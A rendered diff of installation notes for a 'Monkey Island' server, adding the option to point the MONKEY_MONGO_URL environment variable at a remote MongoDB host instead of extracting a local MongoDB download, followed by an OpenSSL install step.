4.1 Download MongoDB and extract it to /var/monkey_island/bin/mongodb
|
||||||
find more at - https://www.mongodb.org/downloads#production
|
for debian64 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz
|
||||||
untar.gz with: tar -zxvf filename.tar.gz -C /var/monkey_island/bin/mongodb
|
for ubuntu64 16.10 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz
|
||||||
(make sure the content of the mongo folder is in this directory, meaning this path exists:
|
find more at - https://www.mongodb.org/downloads#production
|
||||||
/var/monkey_island/bin/mongodb/bin)
|
untar.gz with: tar -zxvf filename.tar.gz -C /var/monkey_island/bin/mongodb
|
||||||
|
(make sure the content of the mongo folder is in this directory, meaning this path exists:
|
||||||
|
/var/monkey_island/bin/mongodb/bin)
|
||||||
|
|
||||||
|
OR
|
||||||
|
|
||||||
|
4.1 If you have an instance of mongodb running on a different host, set the MONKEY_MONGO_URL environment variable:
|
||||||
|
|
||||||
|
example for mongodb running on host with IP address 192.168.10.10:
|
||||||
|
|
||||||
|
set MONKEY_MONGO_URL="mongodb://192.168.10.10:27107/monkeyisland"
|
||||||
|
|
||||||
|
|
||||||
5. install OpenSSL
|
5. install OpenSSL
|
||||||
sudo apt-get install openssl
|
sudo apt-get install openssl
|
||||||
|
|
Loading…
Reference in New Issue